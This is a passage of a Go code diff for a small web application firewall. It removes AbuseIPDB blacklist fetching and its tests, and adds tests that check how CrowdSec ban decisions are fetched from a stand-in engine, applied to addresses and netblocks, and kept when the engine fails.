||||||
// StopChecking, Hit checks no client.
|
|
||||||
func (a *AbuseIPDB) StopChecking() {
|
|
||||||
a.mu.Lock()
|
|
||||||
|
|
||||||
a.stopped = true
|
|
||||||
for _, end := range a.checking {
|
|
||||||
end()
|
|
||||||
}
|
|
||||||
|
|
||||||
a.mu.Unlock()
|
|
||||||
|
|
||||||
a.checkGoroutines.Wait()
|
|
||||||
}
|
|
||||||
|
|
||||||
// Checked returns how many checks were made.
|
// Checked returns how many checks were made.
|
||||||
func (a *AbuseIPDB) Checked() int {
|
func (a *AbuseIPDB) Checked() int {
|
||||||
a.mu.Lock()
|
a.mu.Lock()
|
||||||
@@ -307,45 +256,10 @@ func (a *AbuseIPDB) LoadChecksSpent(checks ChecksSpent) {
|
|||||||
a.day, a.spent = checks.Day, checks.Spent
|
a.day, a.spent = checks.Day, checks.Spent
|
||||||
}
|
}
|
||||||
|
|
||||||
// RunBlacklist fetches AbuseIPDB's blacklist at once, and again every
|
|
||||||
// BlacklistRefresh, until ctx is done, and gives the clients on each copy
|
|
||||||
// fetched to Blacklisted. While Key is unset it does nothing. A fetch that
|
|
||||||
// fails is logged and raised as a source_failure alert, unless it was cut
|
|
||||||
// off as ctx ended.
|
|
||||||
func (a *AbuseIPDB) RunBlacklist(ctx context.Context) {
|
|
||||||
if a.params.Key == "" {
|
|
||||||
return
|
|
||||||
}
|
|
||||||
|
|
||||||
for {
|
|
||||||
listed, err := a.fetchBlacklist(ctx)
|
|
||||||
|
|
||||||
switch {
|
|
||||||
case ctx.Err() != nil:
|
|
||||||
return
|
|
||||||
case err != nil:
|
|
||||||
a.alert("fetching AbuseIPDB's blacklist failed", err)
|
|
||||||
default:
|
|
||||||
a.params.Blacklisted(listed)
|
|
||||||
}
|
|
||||||
|
|
||||||
timer := time.NewTimer(a.params.BlacklistRefresh)
|
|
||||||
|
|
||||||
select {
|
|
||||||
case <-ctx.Done():
|
|
||||||
timer.Stop()
|
|
||||||
|
|
||||||
return
|
|
||||||
case <-timer.C:
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// check checks client with AbuseIPDB by addr, one of its addresses, keeps
|
// check checks client with AbuseIPDB by addr, one of its addresses, keeps
|
||||||
// the score as client's, and notes the check as no longer under way. A
|
// the score as client's, and notes the check as no longer under way. A
|
||||||
// check that fails gives no score: it is counted, logged and raised as a
|
// check that fails gives no score: it is counted, logged and raised as a
|
||||||
// source_failure alert, and no client is checked for failureDelay. A check
|
// source_failure alert, and no client is checked for failureDelay.
|
||||||
// ended as ctx ends, by StopChecking, is no failure.
|
|
||||||
func (a *AbuseIPDB) check(
|
func (a *AbuseIPDB) check(
|
||||||
ctx context.Context,
|
ctx context.Context,
|
||||||
client netip.Prefix,
|
client netip.Prefix,
|
||||||
@@ -353,26 +267,24 @@ func (a *AbuseIPDB) check(
|
|||||||
) {
|
) {
|
||||||
score, err := a.ask(ctx, addr)
|
score, err := a.ask(ctx, addr)
|
||||||
now := a.params.Now()
|
now := a.params.Now()
|
||||||
isFailure := err != nil && ctx.Err() == nil
|
|
||||||
|
|
||||||
a.mu.Lock()
|
a.mu.Lock()
|
||||||
|
|
||||||
delete(a.checking, client)
|
delete(a.checking, client)
|
||||||
|
|
||||||
switch {
|
if err == nil {
|
||||||
case err == nil:
|
|
||||||
a.scores.Add(
|
a.scores.Add(
|
||||||
client,
|
client,
|
||||||
Score{Client: client, Score: score, Fetched: now},
|
Score{Client: client, Score: score, Fetched: now},
|
||||||
)
|
)
|
||||||
case isFailure:
|
} else {
|
||||||
a.failures++
|
a.failures++
|
||||||
a.retryAt = now.Add(failureDelay)
|
a.retryAt = now.Add(failureDelay)
|
||||||
}
|
}
|
||||||
|
|
||||||
a.mu.Unlock()
|
a.mu.Unlock()
|
||||||
|
|
||||||
if isFailure {
|
if err != nil {
|
||||||
a.alert("checking a client with AbuseIPDB failed", err)
|
a.alert("checking a client with AbuseIPDB failed", err)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -432,94 +344,6 @@ func (a *AbuseIPDB) ask(
|
|||||||
return *answer.Data.AbuseConfidenceScore, nil
|
return *answer.Data.AbuseConfidenceScore, nil
|
||||||
}
|
}
|
||||||
|
|
||||||
// fetchBlacklist fetches the clients on AbuseIPDB's blacklist scored
|
|
||||||
// Threshold or more, sending the key in the header Key. An answer other
|
|
||||||
// than 200, one longer than maxListBytes or without the list, an entry
|
|
||||||
// whose address does not read, and none within fetchTimeout, fail.
|
|
||||||
func (a *AbuseIPDB) fetchBlacklist(
|
|
||||||
ctx context.Context,
|
|
||||||
) ([]BlacklistEntry, error) {
|
|
||||||
ctx, cancel := context.WithTimeout(ctx, fetchTimeout)
|
|
||||||
defer cancel()
|
|
||||||
|
|
||||||
query := url.Values{
|
|
||||||
"confidenceMinimum": {strconv.FormatInt(a.params.Threshold, 10)},
|
|
||||||
}
|
|
||||||
|
|
||||||
req, err := http.NewRequestWithContext(ctx, http.MethodGet,
|
|
||||||
a.params.BlacklistURL+"?"+query.Encode(), http.NoBody)
|
|
||||||
if err != nil {
|
|
||||||
return nil, fmt.Errorf("make the request: %w", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
req.Header.Set("Key", a.params.Key)
|
|
||||||
req.Header.Set("Accept", "application/json")
|
|
||||||
|
|
||||||
res, err := a.httpClient.Do(req)
|
|
||||||
if err != nil {
|
|
||||||
return nil, fmt.Errorf("fetch the blacklist: %w", errors.Unwrap(err))
|
|
||||||
}
|
|
||||||
|
|
||||||
defer func() {
|
|
||||||
_ = res.Body.Close()
|
|
||||||
}()
|
|
||||||
|
|
||||||
if res.StatusCode != http.StatusOK {
|
|
||||||
return nil, fmt.Errorf("%w %s", errStatus, res.Status)
|
|
||||||
}
|
|
||||||
|
|
||||||
body, err := io.ReadAll(io.LimitReader(res.Body, maxListBytes+1))
|
|
||||||
if err != nil {
|
|
||||||
return nil, fmt.Errorf("read the blacklist: %w", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
if len(body) > maxListBytes {
|
|
||||||
return nil, errTooLong
|
|
||||||
}
|
|
||||||
|
|
||||||
return parseBlacklist(body)
|
|
||||||
}
|
|
||||||
|
|
||||||
// parseBlacklist reads body, AbuseIPDB's answer with its blacklist.
|
|
||||||
func parseBlacklist(body []byte) ([]BlacklistEntry, error) {
|
|
||||||
var answer struct {
|
|
||||||
Data *[]struct {
|
|
||||||
IPAddress string `json:"ipAddress"`
|
|
||||||
AbuseConfidenceScore int64 `json:"abuseConfidenceScore"`
|
|
||||||
} `json:"data"`
|
|
||||||
}
|
|
||||||
|
|
||||||
err := json.Unmarshal(body, &answer)
|
|
||||||
if err != nil {
|
|
||||||
return nil, fmt.Errorf("read the blacklist: %w", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
if answer.Data == nil {
|
|
||||||
return nil, errNoBlacklist
|
|
||||||
}
|
|
||||||
|
|
||||||
listed := make([]BlacklistEntry, 0, len(*answer.Data))
|
|
||||||
|
|
||||||
for i, entry := range *answer.Data {
|
|
||||||
addr, err := netip.ParseAddr(entry.IPAddress)
|
|
||||||
if err != nil || addr.Zone() != "" {
|
|
||||||
// The error leaves out what the entry holds, as it does a
|
|
||||||
// client's address.
|
|
||||||
return nil, fmt.Errorf(
|
|
||||||
"entry %d's ipAddress %w",
|
|
||||||
i+1,
|
|
||||||
errNotAddress,
|
|
||||||
)
|
|
||||||
}
|
|
||||||
|
|
||||||
listed = append(listed, BlacklistEntry{
|
|
||||||
Addr: addr.Unmap(), Score: entry.AbuseConfidenceScore,
|
|
||||||
})
|
|
||||||
}
|
|
||||||
|
|
||||||
return listed, nil
|
|
||||||
}
|
|
||||||
|
|
||||||
// alert raises a source_failure alert from AbuseIPDB with reason and err,
|
// alert raises a source_failure alert from AbuseIPDB with reason and err,
|
||||||
// and logs them.
|
// and logs them.
|
||||||
func (a *AbuseIPDB) alert(reason string, err error) {
|
func (a *AbuseIPDB) alert(reason string, err error) {
|
||||||
|
|||||||
@@ -394,43 +394,6 @@ func TestCheckNotAnsweredWithinTheTimeoutFailsAndHitNeverWaits(
|
|||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestStopCheckingEndsTheCheckUnderWayAsNoFailureAndChecksNoMore(
|
|
||||||
t *testing.T,
|
|
||||||
) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
synctest.Test(t, func(t *testing.T) {
|
|
||||||
queue := newQueue()
|
|
||||||
p := abuseIPDBParams()
|
|
||||||
p.Alerts = queue
|
|
||||||
abuseIPDB := &abuseIPDBStandIn{hanging: true}
|
|
||||||
checker := newAbuseIPDB(abuseIPDB, p)
|
|
||||||
|
|
||||||
wantScore(t, checker, suspect, true, 0, false)
|
|
||||||
synctest.Wait()
|
|
||||||
|
|
||||||
// The check is ended, not waited out, and is no failure.
|
|
||||||
began := time.Now()
|
|
||||||
|
|
||||||
checker.StopChecking()
|
|
||||||
|
|
||||||
if waited := time.Since(began); waited != 0 {
|
|
||||||
t.Errorf("StopChecking returned after %s, want at once", waited)
|
|
||||||
}
|
|
||||||
|
|
||||||
wantFailures(t, checker, 0)
|
|
||||||
|
|
||||||
if got := waiting(queue); len(got) != 0 {
|
|
||||||
t.Errorf("alerts waiting %+v, want none", got)
|
|
||||||
}
|
|
||||||
|
|
||||||
// An offender without a score is then not checked.
|
|
||||||
wantScore(t, checker, other, true, 0, false)
|
|
||||||
synctest.Wait()
|
|
||||||
wantChecked(t, abuseIPDB, suspect)
|
|
||||||
})
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestKeyIsSentInTheKeyHeaderAndNeverShown(t *testing.T) {
|
func TestKeyIsSentInTheKeyHeaderAndNeverShown(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
|
|||||||
@@ -1,252 +0,0 @@
|
|||||||
package reputation_test
|
|
||||||
|
|
||||||
import (
|
|
||||||
"context"
|
|
||||||
"fmt"
|
|
||||||
"io"
|
|
||||||
"net/http"
|
|
||||||
"net/netip"
|
|
||||||
"slices"
|
|
||||||
"strings"
|
|
||||||
"sync"
|
|
||||||
"testing"
|
|
||||||
"testing/synctest"
|
|
||||||
"time"
|
|
||||||
|
|
||||||
"sneak.berlin/go/smallwebwaf/internal/alerts"
|
|
||||||
"sneak.berlin/go/smallwebwaf/internal/reputation"
|
|
||||||
)
|
|
||||||
|
|
||||||
// The tests of the blacklist run in synctest bubbles, as those of the
|
|
||||||
// checks do, with AbuseIPDB a stand-in reached without the network.
|
|
||||||
|
|
||||||
// blacklistURL is where the tests fetch the blacklist from.
|
|
||||||
const blacklistURL = "https://abuseipdb.example/api/v2/blacklist"
|
|
||||||
|
|
||||||
func TestBlacklistIsFetchedAtOnceAndEveryRefresh(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
synctest.Test(t, func(t *testing.T) {
|
|
||||||
abuseIPDB := &blacklistStandIn{body: `{"meta":{},"data":[` +
|
|
||||||
`{"ipAddress":"203.0.113.9","abuseConfidenceScore":100},` +
|
|
||||||
`{"ipAddress":"::ffff:198.51.100.7","abuseConfidenceScore":95},` +
|
|
||||||
`{"ipAddress":"2001:db8::9","abuseConfidenceScore":90}]}`}
|
|
||||||
got := runBlacklist(t, abuseIPDB, key, newQueue())
|
|
||||||
|
|
||||||
want := []reputation.BlacklistEntry{
|
|
||||||
{Addr: netip.MustParseAddr("203.0.113.9"), Score: 100},
|
|
||||||
{Addr: netip.MustParseAddr("198.51.100.7"), Score: 95},
|
|
||||||
{Addr: netip.MustParseAddr("2001:db8::9"), Score: 90},
|
|
||||||
}
|
|
||||||
|
|
||||||
synctest.Wait()
|
|
||||||
got.want(t, want)
|
|
||||||
|
|
||||||
time.Sleep(time.Hour - time.Nanosecond)
|
|
||||||
synctest.Wait()
|
|
||||||
got.want(t, want)
|
|
||||||
|
|
||||||
time.Sleep(time.Nanosecond)
|
|
||||||
synctest.Wait()
|
|
||||||
got.want(t, want, want)
|
|
||||||
|
|
||||||
// Each fetch asks for the clients scored 90 or more, with the key
|
|
||||||
// in the header Key alone.
|
|
||||||
abuseIPDB.mu.Lock()
|
|
||||||
defer abuseIPDB.mu.Unlock()
|
|
||||||
|
|
||||||
for _, req := range abuseIPDB.asked {
|
|
||||||
if req.URL.String() != blacklistURL+"?confidenceMinimum=90" ||
|
|
||||||
req.Header.Get("Key") != key {
|
|
||||||
t.Errorf(
|
|
||||||
"asked %s with the key %q, want %s?confidenceMinimum=90 "+
|
|
||||||
"with %q",
|
|
||||||
req.URL,
|
|
||||||
req.Header.Get("Key"),
|
|
||||||
blacklistURL,
|
|
||||||
key,
|
|
||||||
)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
})
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestFailedBlacklistFetchIsAlertedAndTriedAgainAtTheNextRefresh(
|
|
||||||
t *testing.T,
|
|
||||||
) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
for _, tc := range []struct{ name, body, error string }{
|
|
||||||
{
|
|
||||||
"a refusal", "",
|
|
||||||
"the server answered 429 Too Many Requests",
|
|
||||||
},
|
|
||||||
{
|
|
||||||
"an answer without the list", `{"errors":[]}`,
|
|
||||||
"the answer gives no data",
|
|
||||||
},
|
|
||||||
{
|
|
||||||
"an entry that is not an address",
|
|
||||||
`{"data":[{"ipAddress":"203.0.113.9"},{"ipAddress":"example"}]}`,
|
|
||||||
"entry 2's ipAddress is not an address",
|
|
||||||
},
|
|
||||||
} {
|
|
||||||
t.Run(tc.name, func(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
synctest.Test(t, func(t *testing.T) {
|
|
||||||
abuseIPDB := &blacklistStandIn{body: tc.body}
|
|
||||||
if tc.body == "" {
|
|
||||||
abuseIPDB.status = http.StatusTooManyRequests
|
|
||||||
}
|
|
||||||
|
|
||||||
queue := newQueue()
|
|
||||||
got := runBlacklist(t, abuseIPDB, key, queue)
|
|
||||||
|
|
||||||
synctest.Wait()
|
|
||||||
|
|
||||||
got.want(t)
|
|
||||||
|
|
||||||
alerted := waiting(queue)
|
|
||||||
if len(alerted) != 1 ||
|
|
||||||
alerted[0].Event != alerts.EventSourceFailure ||
|
|
||||||
alerted[0].Reason != "fetching AbuseIPDB's blacklist failed" ||
|
|
||||||
alerted[0].Detail["source"] != reputation.AbuseIPDBSource ||
|
|
||||||
alerted[0].Detail["error"] != tc.error {
|
|
||||||
t.Errorf(
|
|
||||||
"alerts %+v, want the failure %q",
|
|
||||||
alerted,
|
|
||||||
tc.error,
|
|
||||||
)
|
|
||||||
}
|
|
||||||
|
|
||||||
abuseIPDB.answer(`{"data":[]}`)
|
|
||||||
time.Sleep(time.Hour)
|
|
||||||
synctest.Wait()
|
|
||||||
got.want(t, []reputation.BlacklistEntry{})
|
|
||||||
})
|
|
||||||
})
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestBlacklistIsNotFetchedWithoutAKey(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
synctest.Test(t, func(t *testing.T) {
|
|
||||||
abuseIPDB := &blacklistStandIn{body: `{"data":[]}`}
|
|
||||||
got := runBlacklist(t, abuseIPDB, "", newQueue())
|
|
||||||
|
|
||||||
time.Sleep(time.Hour)
|
|
||||||
synctest.Wait()
|
|
||||||
got.want(t)
|
|
||||||
|
|
||||||
if len(abuseIPDB.asked) != 0 {
|
|
||||||
t.Errorf("fetched the blacklist %d times, want none",
|
|
||||||
len(abuseIPDB.asked))
|
|
||||||
}
|
|
||||||
})
|
|
||||||
}
|
|
||||||
|
|
||||||
// blacklistStandIn is a stand-in for AbuseIPDB that answers each fetch of
|
|
||||||
// the blacklist with status, 200 when it is zero, and body, and keeps the
|
|
||||||
// requests.
|
|
||||||
type blacklistStandIn struct {
|
|
||||||
mu sync.Mutex
|
|
||||||
status int
|
|
||||||
body string
|
|
||||||
asked []*http.Request
|
|
||||||
}
|
|
||||||
|
|
||||||
// RoundTrip has the stand-in answer req, in place of the network.
|
|
||||||
func (s *blacklistStandIn) RoundTrip(
|
|
||||||
req *http.Request,
|
|
||||||
) (*http.Response, error) {
|
|
||||||
s.mu.Lock()
|
|
||||||
s.asked = append(s.asked, req)
|
|
||||||
status, body := s.status, s.body
|
|
||||||
s.mu.Unlock()
|
|
||||||
|
|
||||||
if status == 0 {
|
|
||||||
status = http.StatusOK
|
|
||||||
}
|
|
||||||
|
|
||||||
return &http.Response{
|
|
||||||
StatusCode: status,
|
|
||||||
Status: fmt.Sprintf("%d %s", status, http.StatusText(status)),
|
|
||||||
Header: http.Header{},
|
|
||||||
Body: io.NopCloser(strings.NewReader(body)),
|
|
||||||
Request: req,
|
|
||||||
}, nil
|
|
||||||
}
|
|
||||||
|
|
||||||
// answer has the stand-in answer each fetch with 200 and body.
|
|
||||||
func (s *blacklistStandIn) answer(body string) {
|
|
||||||
s.mu.Lock()
|
|
||||||
defer s.mu.Unlock()
|
|
||||||
|
|
||||||
s.status, s.body = 0, body
|
|
||||||
}
|
|
||||||
|
|
||||||
// blacklisted holds the clients on each blacklist given to Blacklisted.
|
|
||||||
type blacklisted struct {
|
|
||||||
mu sync.Mutex
|
|
||||||
fetched [][]reputation.BlacklistEntry
|
|
||||||
}
|
|
||||||
|
|
||||||
// want checks the clients on each blacklist given so far.
|
|
||||||
func (b *blacklisted) want(
|
|
||||||
t *testing.T,
|
|
||||||
want ...[]reputation.BlacklistEntry,
|
|
||||||
) {
|
|
||||||
t.Helper()
|
|
||||||
|
|
||||||
b.mu.Lock()
|
|
||||||
defer b.mu.Unlock()
|
|
||||||
|
|
||||||
if !slices.EqualFunc(b.fetched, want, slices.Equal) {
|
|
||||||
t.Errorf("blacklists %v, want %v", b.fetched, want)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// runBlacklist runs RunBlacklist, until the test ends, with the key
|
|
||||||
// accountKey, the threshold 90 and a refresh of an hour, fetching from
|
|
||||||
// abuseIPDB and raising alerts into queue, and returns what it gives
|
|
||||||
// Blacklisted.
|
|
||||||
func runBlacklist(
|
|
||||||
t *testing.T, abuseIPDB *blacklistStandIn, accountKey string,
|
|
||||||
queue *alerts.Queue,
|
|
||||||
) *blacklisted {
|
|
||||||
t.Helper()
|
|
||||||
|
|
||||||
got := &blacklisted{}
|
|
||||||
p := abuseIPDBParams()
|
|
||||||
p.Key = accountKey
|
|
||||||
p.BlacklistURL = blacklistURL
|
|
||||||
p.Threshold = 90
|
|
||||||
p.BlacklistRefresh = time.Hour
|
|
||||||
p.Alerts = queue
|
|
||||||
p.Blacklisted = func(listed []reputation.BlacklistEntry) {
|
|
||||||
got.mu.Lock()
|
|
||||||
defer got.mu.Unlock()
|
|
||||||
|
|
||||||
got.fetched = append(got.fetched, listed)
|
|
||||||
}
|
|
||||||
|
|
||||||
checker := reputation.NewAbuseIPDB(p)
|
|
||||||
checker.SetTransport(abuseIPDB)
|
|
||||||
|
|
||||||
ctx, cancel := context.WithCancel(t.Context())
|
|
||||||
done := make(chan struct{})
|
|
||||||
|
|
||||||
go func() {
|
|
||||||
checker.RunBlacklist(ctx)
|
|
||||||
close(done)
|
|
||||||
}()
|
|
||||||
|
|
||||||
t.Cleanup(func() {
|
|
||||||
cancel()
|
|
||||||
<-done
|
|
||||||
})
|
|
||||||
|
|
||||||
return got
|
|
||||||
}
|
|
||||||
@@ -0,0 +1,622 @@
|
|||||||
|
package reputation_test
|
||||||
|
|
||||||
|
import (
|
||||||
|
"bytes"
|
||||||
|
"encoding/json"
|
||||||
|
"fmt"
|
||||||
|
"io"
|
||||||
|
"log/slog"
|
||||||
|
"net/http"
|
||||||
|
"net/netip"
|
||||||
|
"reflect"
|
||||||
|
"strings"
|
||||||
|
"sync"
|
||||||
|
"testing"
|
||||||
|
"testing/synctest"
|
||||||
|
"time"
|
||||||
|
|
||||||
|
"sneak.berlin/go/smallwebwaf/internal/alerts"
|
||||||
|
"sneak.berlin/go/smallwebwaf/internal/reputation"
|
||||||
|
)
|
||||||
|
|
||||||
|
// The tests run in a synctest bubble, as those of the blocklists do, and
|
||||||
|
// fetch the decision list from engine, a stand-in for a CrowdSec engine
|
||||||
|
// that answers without the network.
|
||||||
|
|
||||||
|
const (
|
||||||
|
// decisionsURL is the decision list of the tests' engine, and engineKey
|
||||||
|
// the key it answers.
|
||||||
|
decisionsURL = "http://crowdsec.example:8080/v1/decisions"
|
||||||
|
engineKey = "crowdsec-key-0123456789abcdef"
|
||||||
|
// sshBF and probing are scenarios of the engine's decisions.
|
||||||
|
sshBF = "crowdsecurity/ssh-bf"
|
||||||
|
probing = "crowdsecurity/http-probing"
|
||||||
|
// ban is the type of a decision to ban, and rangeScope the scope of a
|
||||||
|
// decision on a netblock, as CrowdSec names them.
|
||||||
|
ban = "ban"
|
||||||
|
rangeScope = "Range"
|
||||||
|
)
|
||||||
|
|
||||||
|
func TestCrowdSecDecisionBansItsNetblockUntilItEndsEvenWithTheEngineDown(
|
||||||
|
t *testing.T,
|
||||||
|
) {
|
||||||
|
t.Parallel()
|
||||||
|
|
||||||
|
synctest.Test(t, func(t *testing.T) {
|
||||||
|
began := time.Now()
|
||||||
|
manual := "manual 'ban' from 'localhost'"
|
||||||
|
e := &engine{key: engineKey, decisions: []decision{
|
||||||
|
{"Ip", suspect, ban, manual, began.Add(6 * time.Hour)},
|
||||||
|
// A shorter decision on the same address, which is not the one
|
||||||
|
// used.
|
||||||
|
{"Ip", suspect, ban, sshBF, began.Add(4 * time.Hour)},
|
||||||
|
{
|
||||||
|
rangeScope,
|
||||||
|
"198.51.100.0/24",
|
||||||
|
ban,
|
||||||
|
probing,
|
||||||
|
began.Add(time.Hour),
|
||||||
|
},
|
||||||
|
{"Ip", "2001:db8::1", ban, sshBF, began.Add(2 * time.Hour)},
|
||||||
|
// Left out: a decision to show a captcha, and one on a country.
|
||||||
|
{"Ip", "192.0.2.50", "captcha", probing, began.Add(time.Hour)},
|
||||||
|
{"Country", "KP", ban, manual, began.Add(time.Hour)},
|
||||||
|
}}
|
||||||
|
lists := start(t, e, crowdSecParams())
|
||||||
|
|
||||||
|
for addr, want := range map[string]reputation.Decision{
|
||||||
|
suspect: {Expires: began.Add(6 * time.Hour), Scenario: manual},
|
||||||
|
"198.51.100.0": {Expires: began.Add(time.Hour), Scenario: probing},
|
||||||
|
"198.51.100.255": {Expires: began.Add(time.Hour), Scenario: probing},
|
||||||
|
"2001:db8::1": {Expires: began.Add(2 * time.Hour), Scenario: sshBF},
|
||||||
|
"203.0.113.10": {},
|
||||||
|
"198.51.101.0": {},
|
||||||
|
"2001:db8::2": {},
|
||||||
|
"192.0.2.50": {},
|
||||||
|
} {
|
||||||
|
wantDecision(t, lists, addr, want)
|
||||||
|
}
|
||||||
|
|
||||||
|
// With the engine down, the copy kept still holds the decision on
|
||||||
|
// 198.51.100.0/24, which no longer bans once it has ended.
|
||||||
|
e.set(func(e *engine) { e.failing = true })
|
||||||
|
time.Sleep(time.Hour - time.Nanosecond)
|
||||||
|
synctest.Wait()
|
||||||
|
wantDecision(
|
||||||
|
t,
|
||||||
|
lists,
|
||||||
|
"198.51.100.7",
|
||||||
|
reputation.Decision{
|
||||||
|
Expires: began.Add(time.Hour),
|
||||||
|
Scenario: probing,
|
||||||
|
},
|
||||||
|
)
|
||||||
|
|
||||||
|
time.Sleep(time.Nanosecond)
|
||||||
|
synctest.Wait()
|
||||||
|
wantDecision(t, lists, "198.51.100.7", reputation.Decision{})
|
||||||
|
wantDecision(
|
||||||
|
t,
|
||||||
|
lists,
|
||||||
|
suspect,
|
||||||
|
reputation.Decision{
|
||||||
|
Expires: began.Add(6 * time.Hour),
|
||||||
|
Scenario: manual,
|
||||||
|
},
|
||||||
|
)
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestCrowdSecDecisionListFetchedAgainEveryMinute(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
|
||||||
|
synctest.Test(t, func(t *testing.T) {
|
||||||
|
began := time.Now()
|
||||||
|
e := &engine{key: engineKey, decisions: []decision{
|
||||||
|
{"Ip", suspect, ban, sshBF, began.Add(4 * time.Hour)},
|
||||||
|
}}
|
||||||
|
lists := start(t, e, crowdSecParams())
|
||||||
|
wantEngineFetches(t, e, 1)
|
||||||
|
|
||||||
|
added := reputation.Decision{
|
||||||
|
Expires: began.Add(2 * time.Hour),
|
||||||
|
Scenario: probing,
|
||||||
|
}
|
||||||
|
|
||||||
|
e.set(func(e *engine) {
|
||||||
|
e.decisions = append(e.decisions,
|
||||||
|
decision{"Ip", "203.0.113.10", ban, probing, added.Expires})
|
||||||
|
})
|
||||||
|
|
||||||
|
time.Sleep(time.Minute - time.Nanosecond)
|
||||||
|
wantEngineFetches(t, e, 1)
|
||||||
|
wantDecision(t, lists, "203.0.113.10", reputation.Decision{})
|
||||||
|
|
||||||
|
time.Sleep(time.Nanosecond)
|
||||||
|
wantEngineFetches(t, e, 2)
|
||||||
|
wantDecision(t, lists, "203.0.113.10", added)
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestCrowdSecDecisionOnAClientIsTheOneThatEndsLast(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
|
||||||
|
synctest.Test(t, func(t *testing.T) {
|
||||||
|
began := time.Now()
|
||||||
|
e := &engine{key: engineKey, decisions: []decision{
|
||||||
|
// Two decisions on one address, the shorter listed first.
|
||||||
|
{"Ip", suspect, ban, sshBF, began.Add(2 * time.Hour)},
|
||||||
|
{"Ip", suspect, ban, probing, began.Add(4 * time.Hour)},
|
||||||
|
// 198.51.100.130 is held by a decision on its address that ends
|
||||||
|
// after the one on its netblock, and 192.0.2.20 by one that ends
|
||||||
|
// before.
|
||||||
|
{
|
||||||
|
rangeScope,
|
||||||
|
"198.51.100.128/25",
|
||||||
|
ban,
|
||||||
|
sshBF,
|
||||||
|
began.Add(time.Hour),
|
||||||
|
},
|
||||||
|
{"Ip", "198.51.100.130", ban, probing, began.Add(3 * time.Hour)},
|
||||||
|
{
|
||||||
|
rangeScope,
|
||||||
|
"192.0.2.0/24",
|
||||||
|
ban,
|
||||||
|
probing,
|
||||||
|
began.Add(5 * time.Hour),
|
||||||
|
},
|
||||||
|
{"Ip", "192.0.2.20", ban, sshBF, began.Add(2 * time.Hour)},
|
||||||
|
}}
|
||||||
|
lists := start(t, e, crowdSecParams())
|
||||||
|
|
||||||
|
wantDecision(
|
||||||
|
t,
|
||||||
|
lists,
|
||||||
|
suspect,
|
||||||
|
reputation.Decision{
|
||||||
|
Expires: began.Add(4 * time.Hour),
|
||||||
|
Scenario: probing,
|
||||||
|
},
|
||||||
|
)
|
||||||
|
wantDecision(
|
||||||
|
t,
|
||||||
|
lists,
|
||||||
|
"198.51.100.130",
|
||||||
|
reputation.Decision{
|
||||||
|
Expires: began.Add(3 * time.Hour),
|
||||||
|
Scenario: probing,
|
||||||
|
},
|
||||||
|
)
|
||||||
|
wantDecision(
|
||||||
|
t,
|
||||||
|
lists,
|
||||||
|
"192.0.2.20",
|
||||||
|
reputation.Decision{
|
||||||
|
Expires: began.Add(5 * time.Hour),
|
||||||
|
Scenario: probing,
|
||||||
|
},
|
||||||
|
)
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestCrowdSecAnswerOfNoDecisionIsAGoodCopyThatListsNoClient(
|
||||||
|
t *testing.T,
|
||||||
|
) {
|
||||||
|
t.Parallel()
|
||||||
|
|
||||||
|
synctest.Test(t, func(t *testing.T) {
|
||||||
|
began := time.Now()
|
||||||
|
e := &engine{key: engineKey, decisions: []decision{
|
||||||
|
{"Ip", suspect, ban, sshBF, began.Add(4 * time.Hour)},
|
||||||
|
}}
|
||||||
|
lists := start(t, e, crowdSecParams())
|
||||||
|
|
||||||
|
// With its decision deleted, the engine answers null.
|
||||||
|
e.set(func(e *engine) { e.decisions = nil })
|
||||||
|
time.Sleep(time.Minute)
|
||||||
|
wantEngineFetches(t, e, 2)
|
||||||
|
|
||||||
|
want := []reputation.List{{
|
||||||
|
URL: decisionsURL, Tried: time.Now(), Fetched: time.Now(), Lines: []string{"null"},
|
||||||
|
}}
|
||||||
|
if got := lists.Snapshot(); !reflect.DeepEqual(got, want) {
|
||||||
|
t.Errorf("lists %+v, want %+v", got, want)
|
||||||
|
}
|
||||||
|
|
||||||
|
if lists.Failures(decisionsURL) != 0 {
|
||||||
|
t.Errorf("%d failures, want 0", lists.Failures(decisionsURL))
|
||||||
|
}
|
||||||
|
|
||||||
|
wantDecision(t, lists, suspect, reputation.Decision{})
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestCrowdSecFailureKeepsTheLastGoodCopyAlertsOncePerCooldownAndHidesTheKey(
|
||||||
|
t *testing.T,
|
||||||
|
) {
|
||||||
|
t.Parallel()
|
||||||
|
|
||||||
|
for _, tc := range crowdSecFailures() {
|
||||||
|
t.Run(tc.name, func(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
|
||||||
|
synctest.Test(t, func(t *testing.T) {
|
||||||
|
var log bytes.Buffer
|
||||||
|
|
||||||
|
began := time.Now()
|
||||||
|
e := &engine{key: engineKey, decisions: []decision{
|
||||||
|
{"Ip", suspect, ban, sshBF, began.Add(4 * time.Hour)},
|
||||||
|
}}
|
||||||
|
queue := newQueue()
|
||||||
|
p := crowdSecParams()
|
||||||
|
p.ProcessLog = slog.New(slog.NewJSONHandler(&log, nil))
|
||||||
|
p.Alerts = queue
|
||||||
|
lists := start(t, e, p)
|
||||||
|
kept := lists.Snapshot()
|
||||||
|
|
||||||
|
e.set(tc.fail)
|
||||||
|
|
||||||
